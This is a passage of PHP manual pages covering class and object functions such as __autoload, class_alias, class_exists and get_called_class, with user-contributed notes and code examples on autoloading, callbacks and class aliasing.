        $newobj->$key = &$obj->$key;
    }

    return $newobj;
}
-----------------------------------------

This creates a new class which extends the old one by the given code parameter, instanciates it and copy all vars from the old obj to the new one.

-----------------------------------------
class testA {
    var $prop = 'a';

    function funcA($val) {
        $this->prop = $val;
    }

    function value() {
        return $this->prop;
    }
}

$obj = new testA();

$newobj = &extendObj(&$obj, 'function addX() { $this->prop .= "x"; }');

$newobj->funcA('abc');
$newobj->addX();
echo $newobj->value();
-----------------------------------------

Results in 'abcx'. You can use the function multiple times and also with class variables. Be carefull, even if $newobj is just a copy of $obj, $obj->value() will return 'abcx', too, because of the & operator: $newobj->$key = &$obj->$key;
zidsu at hotmail dot com 08-Jul-2003 02:24
FYI: if you want to split your class into manageble chunks, what means different files for you, you can put you functoins into includes, and make include() have a return value. Like this:

class Some_class {
  var $value = 3;
  function add_value ($input_param) {
    return include ("path/some_file.php");
  }
}

And your included file:

$input_param += $this->value;
return $input_param;

Then your function call will be:

$instance = new Some_class ();
$instance->add_value (3);

And this will return
6
hopefully :P

Keep in mind though, that the scope in the included file will be identical to the scope the function 'add_value' has.
And if you want to return the outcome, you should also have a return statement made in your include as well.
asommer*at*as-media.com 20-Sep-2002 11:52
Something I found out just now that comes in very handy for my current project:

it is possible to have a class override itself in any method ( including the constructor ) like this:

class a {

..function ha ( ) {
....if ( $some_expr ) {
......$this = new b;
......return $this->ha ( );
....}
....return $something;
..}

}

in this case assuming that class b is already defined and also has the method ha ( )

note that the code after the statement to override itself is still executed but now applies to the new class

i did not find any information about this behaviour anywhere, so i have no clue wether this is supposed to be like this and if it might change... but it opens a few possibilities in flexible scripting!!
einhverfr at not-this-host dot hotmail dot com 14-Sep-2002 09:35
You may find it helpful in complex projects to have namespaces for your classes, and arrange these in a hierarchical manner.   A simple way to do this is to use the filesystem to order your hierarchies and then define a function like this:

function use_namespace($namespace){

require_once("namespaces/$namespace.obj.php");

}

(lack of indentation due to HTML UI for this page)
This requires that all your object libraries end in .obj.php (which I use) but you can modfy it to suit your needs.  To call it you could, for exmaple call:

use_namespace("example");
or if foo is part of example you can call:
use_namespace("example/foo");
justin at quadmyre dot com 19-Aug-2002 06:38
If you want to be able to call an instance of a class from within another class, all you need to do is store a reference to the external class as a property of the local class (can use the constructor to pass this to the class), then call the external method like this:

$this->classref->memberfunction($vars);

or if the double '->' is too freaky for you, how about:

$ref=&$this->classref;
$ref->memberfunction($vars);

This is handy if you write something like a general SQL class that you want member functions in other classes to be able to use, but want to keep namespaces separate. Hope that helps someone.

Justin

Example:

<?php

class class1 {
    function test($var) {
        $result = $var + 2;
        return $result;
    }
}

class class2{
    var $ref_to_class=''; # to be pointer to other class

    function class1(&$ref){ #constructor
        $this->ref_to_class=$ref; #save ref to other class as property of this class
    }

    function test2($var){
        $val = $this->ref_to_class->test($var); #call other class using ref
        return $val;
    }
}

$obj1=new class1;
# obj1 is instantiated.
$obj2=new class2($obj1);
# pass ref to obj1 when instantiating obj2

$var=5;
$result=obj2->test2($var);
# call method in obj2, which calls method in obj1
echo ($result);

?>
gateschris at yahoo dot com 08-Mar-2001 10:59
[Editor's note: If you are trying to do overriding, then you can just interrogate (perhaps in the method itself) about what class (get_class()) the object belongs to, or if it is a subclass of a particular root class.

You can alway refer to the parent overriden method, see the "Classes and Objects" page of the manual and comments/editor's notes therein.]

There is no function to determine if a member belongs to a base class or current class eg:

<?php
class foo {
 function foo () { }
 function a () { }
}

class bar extends foo {
 function bar () { }
 function a () { }
}

lala = new Bar();
?>
------------------
how do we find programmatically if member a now belongs to class Bar or Foo.


Attempt to load undefined class

  • « Classes/Object Functions
  • call_user_method_array »
  • PHP Manual
  • Classes/Object Functions
  • Attempt to load undefined class

__autoload

(PHP 5)

__autoload — Attempt to load undefined class

Description

void __autoload ( string $class )

You can define this function to enable classes autoloading.

Parameters

class

Name of the class to load

Return Values

No value is returned.

See Also

  • spl_autoload_register() - Register given function as __autoload() implementation

User Contributed Notes

romi 29-Jun-2014 08:16
<?php
    if(!function_exists('classAutoLoader')){
        function classAutoLoader($class){
            $class=strtolower($class);
            $classFile=$_SERVER['DOCUMENT_ROOT'].'/include/class/'.$class.'.class.php';
            if(is_file($classFile)&&!class_exists($class)) include $classFile;
        }//You have to give the class name and not the class's path for the first parameter in the class_exists()
    }
    spl_autoload_register('classAutoLoader');
?>
Ben 26-Mar-2014 02:56
Guys, this document ( i mean __autoload() ) not mentioned one special situation: if you both use __autoload() and spl_autoload_register(), the __autoload() function will never to be called. Although spl_autoload_register() documentation explained why, i decide to wrote this in case some one get confused and waste all day to figure out why.

Here is some code to verify above:

<?php
function __autoload($class) {
}

function my_loader() {
}

function your_loader() {
}

var_dump ( spl_autoload_functions () );
echo '<br/>';

spl_autoload_register ( 'my_loader' );
spl_autoload_register ( 'your_loader' );

var_dump ( spl_autoload_functions () );
ohcc at 163 dot com 08-Dec-2013 04:12
It is highly recommended not to use the __autoload() function any more. Now the spl_autoload_register() function is what you should consider.Sorry for the mistake in line 6 of my previous note. And below is the corrected PHP code.
<?php
    if(!function_exists('classAutoLoader')){
        function classAutoLoader($class){
            $class=strtolower($class);
            $classFile=$_SERVER['DOCUMENT_ROOT'].'/include/class/'.$class.'.class.php';
            if(is_file($classFile)&&!class_exists($class)) include $classFile;
        }
    }
    spl_autoload_register('classAutoLoader');
?>
ohcc at 163 dot com 08-Dec-2013 03:28
It is highly recommended not to use the __autoload() function any more. Now the spl_autoload_register() function is what you should consider.
<?php
    if(!function_exists('classAutoLoader')){
        function classAutoLoader($class){
            $class=strtolower($class);
            $classFile=$_SERVER['DOCUMENT_ROOT'].'/include/class/'.$class.'.class.php';
            if(is_file($classFile)&&!class_exists($classFile)) include $classFile;
        }
    }
    spl_autoload_register('classAutoLoader');
?>
eragroove at gmail dot com 10-Jul-2013 02:48
If you can keep file name and class name as same, it will be good programming practice. It helps to __autoload function to load file without checking any condition.

function __autoload($class){
  require_once( $class.".php");
}
wojciech.fornal@gmail,com 08-Jun-2013 08:56
keyboardSmasher

You may or may not be right as the file name doesn't necessarily have to reflect a class name it contains (but it's usually considered a good practice). It isn't always a straightforward mapping (look at some PHP frameworks and autoload implementations).

File myBar.php may contain the class:

class Bar {
}

or it even contain the class:

class Foo {
}

Best regards
keyboardSmasher 17-Apr-2013 04:45
qeremy, your code is incorrect.

<?php
include_once("./myClass.php");
include_once("./myFoo.php");
include_once("./myBar.php");

$obj = new myClass();
$foo = new Foo();
$bar = new Bar();
?>

<?php
$foo = new Foo();
$bar = new Bar();
?>

should be:

<?php
$foo = new myFoo();
$bar = new myBar();
?>
qeremy 09-Mar-2012 12:01
Even I have never been using this function, just a simple example in order to explain it;

./myClass.php
<?php
class myClass {
    public function __construct() {
        echo "myClass init'ed successfuly!!!";
    }
}
?>

./index.php
<?php
// we've writen this code where we need
function __autoload($classname) {
    $filename = "./". $classname .".php";
    include_once($filename);
}

// we've called a class ***
$obj = new myClass();
?>

*** At this line, our "./myClass.php" will be included! This is the magic that we're wondering... And you get this result "myClass init'ed successfuly!!!".

So, if you call a class that named as myClass then a file will be included myClass.php if it exists (if not you get an include error normally). If you call Foo, Foo.php will be included, and so on...

And you don't need some code like this anymore;

<?php
include_once("./myClass.php");
include_once("./myFoo.php");
include_once("./myBar.php");

$obj = new myClass();
$foo = new Foo();
$bar = new Bar();
?>

Your class files will be included "automatically" when you call (init) them without these functions: "include, include_once, require, require_once".


Call a user method given with an array of parameters [deprecated]

  • « __autoload
  • call_user_method »
  • PHP Manual
  • Classes/Object Functions
  • Call a user method given with an array of parameters [deprecated]

call_user_method_array

(PHP 4 >= 4.0.5, PHP 5)

call_user_method_array — Call a user method given with an array of parameters [deprecated]

Description

mixed call_user_method_array ( string $method_name , object &$obj , array $params )
Warning

The call_user_method_array() function is deprecated as of PHP 4.1.0.

Parameters

method_name

The method name being called.

obj

The object that method_name is being called on.

params

An array of parameters.

Examples

Example #1 call_user_method_array() alternative

<?php
call_user_func_array(array($obj, $method_name), $params);
call_user_func_array(array(&$obj, $method_name), $params); // PHP 4
?>

See Also

  • call_user_func_array() - Call a callback with an array of parameters
  • call_user_func() - Call the callback given by the first parameter

User Contributed Notes

musaatalay dot mobile at gmail dot com 15-Jul-2014 04:57
<?php

class a{

    function b($a,$b,$c){

        echo $a." ".$b." ".$c;

    }

    function c(Array $a, Array $b){

        print_r($a);

        echo "<br />";

        print_r($b);

    }

    function cuf(Array $a, Array $b){

        print_r($a);

        echo "<br />";

        print_r($b);

    }

}

$a = new a;

// ### Just String Params ###

$array = array("Musa ATALAY",":","Software Developer");

$str = NULL;

foreach($array AS $v){
    if(is_string($v)){
        $str.="'".$v."',";
    }else{
        $str.=$v;
    }
}

$str = rtrim($str,",");

$run = "echo \$a->b(".$str.");";

echo "<br />";

eval($run);

$str = NULL;

/*
OUTPUT :

Musa ATALAY : Software Developer
*/

// ### With Array Params ###

$array = array(array("Musa ATALAY",":","Software Developer"),array("Musa ATALAY",":","Software Developer"));

foreach($array AS $i => $v){
    if(is_string($v)){
        $str.="'".$v."',";
    }else{
        $str.="\$array[".$i."],";
    }
}

$str = rtrim($str,",");

$run = "echo \$a->c(".$str.");";

echo "<br />";

eval($run);

/*
 OUTPUT :

Musa ATALAY : Software Developer

Musa ATALAY : Software Developer
*/

?>
wloche at hotmail dot com 15-Jul-2010 10:33
You don't have to write a new function, <?php call_user_func_array(array($obj, $method_name), $params); ?> works pretty fine! (to my mind, 'eval' fucntion should be avoided almost all the time)
brudinie at googlemail dot com 25-Mar-2009 04:23
<?php

/**
 * @param string $func - method name
 * @param object $obj - object to call method on
 * @param boolean|array $params - array of parameters
 */
function call_object_method_array($func, $obj, $params=false){
    if (!method_exists($obj,$func)){
        // object doesn't have function, return null
        return (null);
    }
    // no params so just return function
    if (!$params){
        return ($obj->$func());
    }
    // build eval string to execute function with parameters
    $pstr='';
    $p=0;
    foreach ($params as $param){
        $pstr.=$p>0 ? ', ' : '';
        $pstr.='$params['.$p.']';
        $p++;
    }
    $evalstr='$retval=$obj->'.$func.'('.$pstr.');';
    $evalok=eval($evalstr);
    // if eval worked ok, return value returned by function
    if ($evalok){
        return ($retval);
    } else {
        return (null);
    }
    return (null);
}

?>


Call a user method on an specific object [deprecated]

  • « call_user_method_array
  • class_alias »
  • PHP Manual
  • Classes/Object Functions
  • Call a user method on an specific object [deprecated]

call_user_method

(PHP 4, PHP 5)

call_user_method — Call a user method on an specific object [deprecated]

Description

mixed call_user_method ( string $method_name , object &$obj [, mixed $parameter [, mixed $... ]] )
Warning

The call_user_method() function is deprecated as of PHP 4.1.0.

Parameters

method_name

The method name being called.

obj

The object that method_name is being called on.

parameter ...

The optional parameters.

Examples

Example #1 call_user_method() alternative

<?php
call_user_func(array($obj, $method_name), $parameter /* , ... */);
call_user_func(array(&$obj, $method_name), $parameter /* , ... */); // PHP 4
?>

See Also

  • call_user_func_array() - Call a callback with an array of parameters
  • call_user_func() - Call the callback given by the first parameter

User Contributed Notes

Chris 24-Jun-2008 04:26
From what i've observed, call_user_func() does everything this funciton does and a little more.  I made a pretty good example call_user_func()'s usage with object instances and figured it might be useful here:

<?php

    /**

        This is a demonstration of 2 neat features of PHP

        *    passing array arguments in as a big array, and using += to assign defaults to missing values
                This would allow for function calls that more closely mimick thoes made in javascript using JSON, with enough work, it could be almost identical using associative arrays
        *    function callbacks within a class to global instances of other classes
                This allows you pass a function callback to an object early on, and hold off its execution until later in the program (say during page outputing after everything has been setup)

    **/

    class Runner {

        public $id;

        public function __construct($id) {
            $this->id = $id;
            echo "constructing " . __CLASS__ . " with id of $id<br />\n";
        }

        public function run($distance = null, $measurement = 'km') {
            if ($distance) {
                echo 'I ran ' . $distance . ' ' . $measurement . '.';
            } else {
                echo 'I ran.';
            }
            echo "({$this->id})<br />\n";
        }
    }

    class Speaker {

        public $id;

        public function __construct($id = 0) {
            $this->id = $id;
            echo "constructing " . __CLASS__ . " with id of $id<br />\n";
        }

        public function speak($statement = 'hello world') {
            echo $statement . "({$this->id})<br />\n";
        }
    }

    class Test {
        protected $runCallback = null;
        protected $speakCallback = null;
        protected $statement;
        protected $distance;

        public function __construct(array $params = array()) {
            echo "constructing " . __CLASS__ . "<br />\n";
            $params += array('speakCallback' => array('Speaker', 'speak'), 'runCallback' => array('Runner', 'run'), 'statement' => 'Hello from ' . __CLASS__ . ' class!', 'distance' => 10);
            foreach($params as $k => $v) {
                $this->$k = $v;
            }
        }

        public function getInstance() {
            return new self(current(func_get_args()));
        }

        public function callRunner() {
            if (is_callable($this->runCallback))
                return call_user_func($this->runCallback, $this->distance);
            else
                throw new Exception("runCallback is not callable\n" . var_export($this->runCallback, true) . "\n");
        }
        public function callSpeaker() {
            if (is_callable($this->speakCallback))
                return call_user_func($this->speakCallback, $this->statement);
            else
                throw new Exception("speakCallback is not callable\n" . var_export($this->speakCallback, true) . "\n");
        }
    }

    $r = new Runner(1);
    $s = new Speaker(2);

    // Note that we're using $s instead of 'Speaker'
    call_user_func(array($s, 'speak'), 'Hello from global!');

    // try out from global with call_user_func_array() to pass args as an array
    call_user_func_array(array($r, 'run'), array(5, 'mi'));

    $Test = new Test(array('runCallback' => array($r, 'run'), 'speakCallback' => array($s, 'speak')));
    $Test->callRunner();
    $Test->callSpeaker();

    $Test = call_user_func(array('Test', 'getInstance'), array('runCallback' => array($r, 'run'), 'distance' => 15));
    // should work as expected
    $Test->callRunner();
    // should throw an error for trying to use this during a static call to Speaker::speak() because of the default
    $Test->callSpeaker();

?>

Hope that's helpful.
ravichandran_11 at yahoo dot co dot in 10-Mar-2008 01:32
<?php
class abc{
   function func($argument)  {
       $argument="It works";
   }
}
$obj=new abc;
$argument_to_be_changed="No it doesn't work";
call_user_method("func", $obj, &$argument_to_be_changed);
echo "Result : ".$argument_to_be_changed;
?>

This code is working. But will through some warning message which you can hide by configuring php.ini
j dot h at h-elektro dot de 05-Feb-2007 09:11
It does not work to use Pointers as Arguments:

<?php
class abc{
   function func(&$argument)  {
       $argument="It works";
   }
}

$obj=new abc;
$argument_to_be_changed="No it doesnt";
call_user_method("func", $obj, $argument_to_be_changed);

echo "Result".$argument_to_be_changed;
?>

The result is: "No it doesnt".

Regards
der Jan
paulo at emd dot com dot br 18-Sep-2000 02:12
This function is very similar to this:

<?php
$method="Print";
$object->$method($param1,$param2);
?>

Note the extra $ after the ->
jmcastagnetto at php dot net 21-Aug-2000 02:04
You can pass a variable number of parameters to a function, use a definition like:

function mymethod ($v1, $v2, $v3="", $v4="")

and then you can pass 2, 3 or 4 parameters. This is explained in the "Functions" section of the manual.

See also the PHP4 functions: func_num_args(), func_get_arg(), and func_get_args(), and examples therein


Creates an alias for a class

  • « call_user_method
  • class_exists »
  • PHP Manual
  • Classes/Object Functions
  • Creates an alias for a class

class_alias

(PHP 5 >= 5.3.0)

class_alias — Creates an alias for a class

Description

bool class_alias ( string $original , string $alias [, bool $autoload = TRUE ] )

Creates an alias named alias based on the user defined class original. The aliased class is exactly the same as the original class.

Parameters

original

The original class.

alias

The alias name for the class.

autoload

Whether to autoload if the original class is not found.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 class_alias() example

<?php

class foo { }

class_alias('foo', 'bar');

$a = new foo;
$b = new bar;

// the objects are the same
var_dump($a == $b, $a === $b);
var_dump($a instanceof $b);

// the classes are the same
var_dump($a instanceof foo);
var_dump($a instanceof bar);

var_dump($b instanceof foo);
var_dump($b instanceof bar);

?>

The above example will output:

bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)

See Also

  • get_parent_class() - Retrieves the parent class name for object or class
  • is_subclass_of() - Checks if the object has this class as one of its parents

User Contributed Notes

petar dot karan dot pk at gmail dot com 06-Feb-2014 11:19
If you need the same function in PHP version < 5.3 you can use this

<?php
function class_alias($original,$alias) {
    $newclass = create_function('','class '.$alias.' extends '.$original.' {}');
    $newclass();
}
?>
mweierophinney at gmail dot com 06-Mar-2013 11:05
class_alias() gives you the ability to do conditional imports.

Whereas the following will not work:

<?php
namespace Component;

if (version_compare(PHP_VERSION, '5.4.0', 'gte')) {
    use My\ArrayObject;
} else {
    use ArrayObject;
}

class Container extends ArrayObject
{
}
?>

the following, using class_alias, will:

<?php
namespace Component;

if (version_compare(PHP_VERSION, '5.4.0', 'lt')) {
    class_alias('My\ArrayObject', 'Component\ArrayObject');
} else {
    class_alias('ArrayObject', 'Component\ArrayObject');
}

class Container extends ArrayObject
{
}
?>

The semantics are slightly different (I'm now indicating that Container extends from an ArrayObject implementation in the same namespace), but the overall idea is the same: conditional imports.
sergey dot karavay at gmail dot com 25-Feb-2013 08:08
At first, you might wonder that:
<?php class A {}; class_alias('A', 'B'); ?>

is equivalent to:
<?php class A {}; class B extends A {}; ?>

class_alias is NOT equivalent to class extending! Private methods/properties are unseen in child classes, but in alias classes they are.
Anonymous 13-Feb-2013 02:42
Like class_alias but for functions:

<?php
function function_alias ($original, $alias) {

  $args = func_get_args();
  assert('count($args) == 2', 'function_alias() require exactly two arguments');
  assert('is_string($original) && is_string($alias)', 'function_alias() require string arguments');

  // valid function name - http://php.net/manual/en/functions.user-defined.php
  assert('preg_match(\'/^[a-zA-Z_\x7f-\xff][\\\\\\\\a-zA-Z0-9_\x7f-\xff]*$/\', $original) > 0',
    "'$original' is not a valid function name");
  assert('preg_match(\'/^[a-zA-Z_\x7f-\xff][\\\\\\\\a-zA-Z0-9_\x7f-\xff]*$/\', $alias) > 0',
    "'$alias' is not a valid function name");

  $aliasNamespace = substr($alias, 0, strrpos($alias, '\\') !== false ? strrpos($alias, '\\') : 0);
  $aliasName = substr($alias, strrpos($alias, '\\') !== false ? strrpos($alias, '\\') + 1 : 0);
  $serializedOriginal = var_export($original, true);

  eval("
    namespace $aliasNamespace {
      function $aliasName () {
        return call_user_func_array($serializedOriginal, func_get_args());
      }
    }
  ");

}

?>

Until hopefully function_alias is added to php...
adam at adamhahn dot com 06-Sep-2011 09:13
Something to note,

If the $original class has not yet been defined or loaded, the auto loader will be invoked in order to try and load it.

If the class for which you are trying to create an alias does not exist, or can not be loaded with the auto loader, you will generate a PHP Warning.
programmer-comfreek at hotmail dot com 15-Aug-2011 06:38
If you defined the class 'original' in a namespace, you will have to specify the namespace(s), too:
<?php
namespace ns1\ns2\ns3;

class A {}

class_alias('ns1\ns2\ns3\A', 'B');
/* or if you want B to exist in ns1\ns2\ns3 */
class_alias('ns1\ns2\ns3\A', 'ns1\ns2\ns3\B');
?>
nicolas dot grekas+php at gmail dot com 31-Dec-2010 10:09
At first, you might wonder that:
<?php class A {}; class_alias('A', 'B'); ?>

is equivalent to:
<?php class A {}; class B extends A {}; ?>

BUT when derivation creates a new class name - that means, you can then instantiate a new kind of objects - aliasing is just what it says: a synonym, so objects instantiated with the aliased name are of the exact same kind of objects instantiated with the non-aliased name.

See this code for example:
<?php
class A {};
class B1 extends A {};
class_alias('A', 'B2');

$b1 = new B1; echo get_class($b1); // prints B1
$b2 = new B2; echo get_class($b2); // prints A !
?>
nicolas dot grekas+php at gmail dot com 30-Dec-2010 11:41
class_alias also works for interfaces!

<?php
interface foo {}
class_alias('foo', 'bar');
echo interface_exists('bar') ? 'yes!' : 'no'; // prints yes!
?>
paul [dot] kotets [at] gmail [dot] com 03-Sep-2009 12:43
This function will appear in PHP 5.3 (at least I can use it with PHP 5.3, build Aug 7 2009 08:21:14)
For older versions of PHP I wrote the next function:

<?php
if (!function_exists('class_alias')) {
    function class_alias($original, $alias) {
        eval('abstract class ' . $alias . ' extends ' . $original . ' {}');
    }
}
?>

Keyword 'abstract' is used for classes, which defines abstract methods.
This function is used in autoload purposes (when I extend classes), so abstract keyword doesn't broke anything for me.


Checks if the class has been defined

  • « class_alias
  • get_called_class »
  • PHP Manual
  • Classes/Object Functions
  • Checks if the class has been defined

class_exists

(PHP 4, PHP 5)

class_exists — Checks if the class has been defined

Description

bool class_exists ( string $class_name [, bool $autoload = true ] )

This function checks whether or not the given class has been defined.

Parameters

class_name

The class name. The name is matched in a case-insensitive manner.

autoload

Whether or not to call __autoload by default.

Return Values

Returns TRUE if class_name is a defined class, FALSE otherwise.

Changelog

Version | Description
5.0.2 | No longer returns TRUE for defined interfaces. Use interface_exists().

Examples

Example #1 class_exists() example

<?php
// Check that the class exists before trying to use it
if (class_exists('MyClass')) {
    $myclass = new MyClass();
}

?>

Example #2 autoload parameter example

<?php
function __autoload($class)
{
    include($class . '.php');

    // Check to see whether the include declared the class
    if (!class_exists($class, false)) {
        trigger_error("Unable to load class: $class", E_USER_WARNING);
    }
}

if (class_exists('MyClass')) {
    $myclass = new MyClass();
}

?>

See Also

  • function_exists() - Return TRUE if the given function has been defined
  • interface_exists() - Checks if the interface has been defined
  • get_declared_classes() - Returns an array with the name of the defined classes

User Contributed Notes

rn at alpha9marketing dot com 07-Apr-2014 02:55
Beware: class_exists is case-INsensitive, as is class instantiation.

php > var_dump(class_exists("DomNode"));
bool(true)
php > var_dump(class_exists("DOMNode"));
bool(true)
php > var_dump(class_exists("DOMNodE"));
bool(true)
php > $x = new DOMNOdE();
php > var_dump(get_class($x));
string(7) "DOMNode"

(tested with PHP 5.5.10 on Linux)

This can cause some headaches in correlating class names to file names, especially on a case-sensitive file system.
spam at wikicms dot org 09-Dec-2013 11:43
Hi guys!
Be careful  and don't forget about second boolean argument $autoload (TRUE by default) when check exists class after spl_autoload_register. Propose short example
file second.php
<?php
class Second {}
?>
file index.php
<?php
class First
{
    function first($class, $bool) {
        spl_autoload_register( function($class) {
            require strtolower($class) . '.php';
        });
        echo class_exists($class, $bool)?'Exist!!!!':'Not exist!';
    }
}

new First($class = 'Second', $bool = true); //Exist!!!!
new First($class = 'Second', $bool = false); //Not exist!
?>
Because __autoload executing much earlier than boolean returned, imho..
giunta dot gaetano at gmail dot com 01-Nov-2013 02:28
If you are using aliasing to import namespaced classes, take care that class_exists will not work using the short, aliased class name - apparently whenever a class name is used as string, only the full-namespace version can be used

use a\namespaced\classname as coolclass;

class_exists( 'coolclass' ) => false
toocoolone at gmail dot com 14-Feb-2012 03:47
I'm running PHP 5.3.4 on Windows 7 and had some difficulty autoloading classes using class_exists(). In my case, when I checked for the class and it didn't exist, class_exists automatically threw a system Exception. I was also throwing my own exception resulting in an uncaught exception.

<?php
/**
 * Set my include path here
 */
$include_path = array( '/include/this/dir', '/include/this/one/too' );
set_include_path( $include_path );
spl_autoload_register();
/**
 * Assuming I have my own custom exception handler (MyException) let's
 * try to see if a file exists.
 */
try {
    if( ! file_exists( 'myfile.php' ) ) {
        throw new MyException('Doh!');
    }
    include( 'myfile.php' );
}
catch( MyException $e ) {
    echo $e->getMessage();
}
/**
 * The above code either includes myfile.php or throws the new MyException
 * as expected. No problem right? The same should be true of class_exists(),
 * right? So then...
 */
$classname = 'NonExistentClass';
try {
    if( ! class_exists( $classname ) ) {
        throw new MyException('Double Doh!');
    }
    $var = new $classname();
}
catch( MyException $e ) {
    echo $e->getMessage();
}
/**
* Should throw a new instance of MyException. But instead I get an
* uncaught LogicException blah blah blah for the default Exception
* class AND MyException. I only catch MyException so we've got on
* uncaught resulting in the dreaded LogicException error.
*/
?>

By registering an additional autoload handler function that did nothing, I was able to stop throwing the extra Exception and only throw my own.

<?php
/**
 * Set my include path here
 */
$include_path = array( '/include/this/dir', '/include/this/one/too' );
set_include_path( $include_path );
spl_autoload_register();
spl_autoload_register( 'myAutoLoad' ); // Add these two and no worries...
function myAutoLoad() {}
/**
 * By registering the additional custom autoload function that does nothing
 * class_exists() returns only boolean and does NOT throw an uncaught Exception
 */
?>

Found this buried in some search results. I don't remember the page URL but if it would have been here it might have saved me some time!
Anonymous 08-Mar-2011 07:21
It might not be obvious to some, but whenever you reference a namespace in a string, each backslash must be escaped with another backslash because of how PHP handles strings.

<?php
class_exists('\\Zend_Registry'); // return true
?>
Klaus 28-Apr-2010 01:21
If you recursively load several classes inside an autoload function (or mix manual loading and autoloading), be aware that class_exists() (as well as get_declared_classes()) does not know about classes previously loaded during the *current* autoload invocation.

Apparently, the internal list of declared classes is only updated after the autoload function is completed.
azrael dot com at gmail dot com 12-Dec-2008 01:14
If spl_autoload_register() had been called, then function will try autoload class if it does not exists.

Use instead
<?php
in_array($class_name, get_declared_classes());
?>
Anonymous 29-Nov-2008 07:27
If you planned to use utf-8 in classes or variables names, remember that locale has to be properly set firstly, e.g.
<?php
locale (LC_ALL, 'ru_RU.UTF-8');
?>
or it turn into errors.
Radek @ cz 06-May-2008 03:43
If you want to combat many class includes effectively, define your own autoloader function and spl_autoload_register() that autoloader.
richard at richard-sumilang dot com 27-Mar-2008 09:56
[ >= PHP 5.3]

If you are checking if a class exists that is in a specific namespace then you have to pass in the full path to the class:

echo (class_exists("com::richardsumilang::common::MyClass")) ? "Yes" : "No";
anonymous at somewhere dot tld 17-Jul-2003 09:20
If you have a directory of classes you want to create. (Modules in my instance)... you can do it like that

<?php
if (is_dir($this->MODULE_PATH) && $dh = opendir($this->MODULE_PATH)) {
   while (($file = readdir($dh)) !== false) {
      if (preg_match("/(Mod[a-zA-Z0-9]+).php/", $file, $matches)>0) {
         // include and create the class
         require_once($this->MODULE_PATH."/".$file);
         $modules[] = new $matches[1]();
      }
   }
} else {
   exit;
}
?>

//---
Here the rule is that all modules are on the form
ModModulename.php and that the class has the same name as the file.
The $modules array has all the classes initialized after this code


the "Late Static Binding" class name

  • « class_exists
  • get_class_methods »
  • PHP Manual
  • Classes/Object Functions
  • the "Late Static Binding" class name

get_called_class

(PHP 5 >= 5.3.0)

get_called_class — the "Late Static Binding" class name

Description

string get_called_class ( void )

Gets the name of the class the static method is called in.

Return Values

Returns the class name. Returns FALSE if called from outside a class.

Examples

Example #1 Using get_called_class()

<?php

class foo {
    static public function test() {
        var_dump(get_called_class());
    }
}

class bar extends foo {
}

foo::test();
bar::test();

?>

The above example will output:

string(3) "foo"
string(3) "bar"

See Also

  • get_parent_class() - Retrieves the parent class name for object or class
  • get_class() - Returns the name of the class of an object
  • is_subclass_of() - Checks if the object has this class as one of its parents

User Contributed Notes

Safak Ozpinar 24-Sep-2014 04:00
As of PHP 5.5 you can also use "static::class" to get the name of the called class.

<?php
class Bar {
    public static function test() {
        var_dump(static::class);
    }
}

class Foo extends Bar {

}

Foo::test();
Bar::test();
?>

Output:

string(3) "Foo"
string(3) "Bar"
luc at s dot illi dot be 06-Feb-2013 12:09
get_called_class() in closure-scopes:

<?PHP
    ABSTRACT CLASS Base
    {
        protected static $stub = ['baz'];

        //final public function boot()
        static public function boot()
        {
            print __METHOD__.'-> '.get_called_class().PHP_EOL;

            array_walk(static::$stub, function()
            {
                print __METHOD__.'-> '.get_called_class().PHP_EOL;
            });
        }

        public function __construct()
        {
            self::boot();
            print __METHOD__.'-> '.get_called_class().PHP_EOL;

            array_walk(static::$stub, function()
            {
                print __METHOD__.'-> '.get_called_class().PHP_EOL;
            });
        }
    }

    CLASS Sub EXTENDS Base
    {
    }

    // static boot
        Base::boot(); print PHP_EOL;
            // Base::boot        -> Base
            // Base::{closure}    -> Base

        Sub::boot(); print PHP_EOL;
            // Base::boot        -> Sub
            // Base::{closure}    -> Base

        new sub;
            // Base::boot        -> Sub
            // Base::{closure}    -> Base
            // Base->__construct    -> Sub
            // Base->{closure}    -> Sub

    // instance boot
        new sub;
            // Base->boot        -> Sub
            // Base->{closure}    -> Sub
            // Base->__construct    -> Sub
            // Base->{closure}    -> Sub
?>
uebele 06-Apr-2011 06:14
SEE: http://php.net/manual/en/language.oop5.late-static-bindings.php

I think it is worth mentioning on this page, that many uses of the value returned by get_called_function() could be handled with the new use of the old keyword static, as in
<?php
static::$foo;
?>

versus
<?php
$that=get_called_class();
$that::$foo;
?>

I had been using $that:: as my conventional replacement for self:: until my googling landed me the url above.  I have replaced all uses of $that with static with success both as
<?php
static::$foo; //and...
new static();
?>

Since static:: is listed with the limitation: "Another difference is that static:: can only refer to static properties." one may still need to use a $that:: to call static functions; though I have not yet needed this semantic.
webmaster at easy-coding dot de 12-Mar-2010 05:03
if you cannot avoid that carriage return characters will be used as windows linebreaks, you should set

<?php ini_set("auto_detect_line_endings", 1); ?>

otherwise the solutions posted here will fail.
Abhi Beckert 29-Oct-2009 05:41
Beware that this does not behave as expected if your method is not declared as static! For example:

<?php

class foo {
  static public function test() {
    var_dump(get_called_class());
  }

  public function testTwo() {
    var_dump(get_called_class());
  }
}

class bar extends foo {
}

class abc {
  function test() {
    foo::test();
    bar::test();
  }

  function testTwo() {
    foo::testTwo();
    bar::testTwo();
  }
}

echo "basic\n";
foo::test();
bar::test();

echo "basic without static declaration\n";
foo::testTwo();
bar::testTwo();

echo "in a class\n";
$abc = new abc();
$abc->test();

echo "in a class without static declaration\n";
$abc->testTwo();

?>

The result is:

basic
string 'foo'
string 'bar'

basic without static declaration
string 'foo'
string 'bar'

in a class
string 'foo'
string 'bar'

in a class without static declaration
string 'abc'
string 'abc'
php at itronic dot at 07-Aug-2009 03:53
If you call a static getInstance() function to create a instance of a class from another class, this function have to be static, if it is not static the original name of the caller class and not of the current class get returned.

example:

<?php

class a {
  function getXName() {
     return x::getClassName();
  }
  function getXStaticName() {
     return x::getStaticClassName();
  }

}

class b extends a {
}

class x {
  public function getClassName() {
    return get_called_class();
  }
  public static function getStaticClassName() {
    return get_called_class();
  }
}

$a = new a();

$b = new b();

echo $a->getXName(); // will return "a"
echo $b->getXName(); // will return "b"

echo $a->getXStaticName(); // will return "x"
echo $b->getXStaticName(); // will return "x"

?>
a dot cudbard-bell at sussex dot ac dot uk 21-Feb-2009 07:03
Here's a simple way of getting the inheritance tree of a class, no matter which class the function was actually defined in. Will work as a static function method too.

<?php
class A {
    public function get_class_tree(){
        $cur_class = get_called_class();
        do {
            echo $cur_class;
        }
